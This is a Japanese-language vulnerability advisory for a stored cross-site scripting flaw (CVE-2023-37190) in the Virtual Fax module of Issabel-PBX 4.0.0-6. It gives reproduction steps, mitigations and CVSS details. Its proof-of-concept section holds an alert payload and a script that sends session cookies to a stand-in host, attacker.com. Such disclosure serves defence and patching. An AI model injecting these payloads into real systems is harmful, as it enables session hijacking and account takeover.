
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2023-37190 |
| 脆弱性 | 保存型クロスサイトスクリプティング (XSS) |
| 影響を受ける製品 | Issabel-PBX |
| 影響を受けるバージョン | 4.0.0-6 |
| 深刻度 | 中 (CVSS v3.1 スコア: 5.4) |
| 発見者 | Sahil Ojha |
| 開示日 | 2023年7月7日 |
| ベンダー | Issabel |
| ソースコード | IssabelFoundation/issabelPBX |
| テスト環境 | Windows |
Issabel-PBX バージョン 4.0.0-6 には、保存型クロスサイトスクリプティング (XSS) の脆弱性が存在します。このアプリケーションは、ユーザーが入力したデータをデータベースに保存し、その後Webインターフェースに描画する前に、適切にサニタイズおよびエンコードしません。
この脆弱性は Virtual Fax モジュール、具体的には 「New Virtual Fax」 作成フォームに存在します。Virtual Fax Name と Caller ID Name の2つの入力パラメータは、適切な入力検証や出力エンコードが行われません。これにより、低権限の認証済み攻撃者が悪意のあるJavaScriptペイロードをアプリケーション内に注入し、永続的に保存することが可能になります。
一度保存されると、悪意のあるスクリプトは、影響を受けるページを訪れたすべてのユーザー(管理者を含む)のブラウザで自動的に実行されます。攻撃者による追加の操作は必要ありません。
この脆弱性の悪用に成功した攻撃者は、以下のことが可能になります:
ペイロードは保存型(永続的)であるため、削除されるまで脆弱性のあるページを訪れるすべてのユーザーに影響を与えます。これにより、反射型XSSよりも深刻なものとなっています。
Virtual Fax NameCaller ID Nameステップ 1: 有効な認証情報を使用して Issabel-PBX Web アプリケーションにログインします。
ステップ 2: Fax → Virtual Fax → New Virtual Fax に移動します。
以下のXSSペイロードを Virtual Fax Name および/または Caller ID Name フィールドに注入します:
<script>alert('XSS-CVE-2023-37190')</script>
セッションクッキーの窃取を示す、より影響の大きい概念実証は以下の通りです(注: 実際の攻撃では、盗まれたクッキーが転送中に露出しないよう HTTPS が使用されます):
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
ペイロードが注入された入力済みフォームは、下のスクリーンショットのようになります:

ステップ 3: Save ボタンをクリックしてフォームを送信します。ペイロードはアプリケーションのデータベースに永続的に保存されます。
ステップ 4: Virtual Fax 一覧ページに移動します(または、管理者などの別のユーザーにページを訪問させます)。保存されたスクリプトは、訪問者のブラウザで自動的に実行されます。以下に示すとおりです:

Issabel-PBX のユーザーと管理者は、以下の対策を適用することを強く推奨します:
<, >, ", ', &) を含む入力は拒否またはサニタイズします。Content-Security-Policy HTTP ヘッダーを実装し、XSS 脆弱性の影響を軽減します。Sahil Ojha
セキュリティリサーチャー
GitHub: @sahiloj
免責事項: このリポジトリは、教育および責任ある開示の目的のみで提供されています。ここに記載された情報は、システム所有者の明示的な書面による許可なしにシステムを攻撃するために使用すべきではありません。著者は、この情報の誤用について一切の責任を負いません。
| メトリック | 値 |
|---|
| ベーススコア | 5.4 (中) |
| 攻撃元区分 | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | 低 |
| ユーザー操作 | 必要 |
| スコープ | 変更あり |
| 機密性への影響 | 低 |
| 完全性への影響 | 低 |
| 可用性への影響 | なし |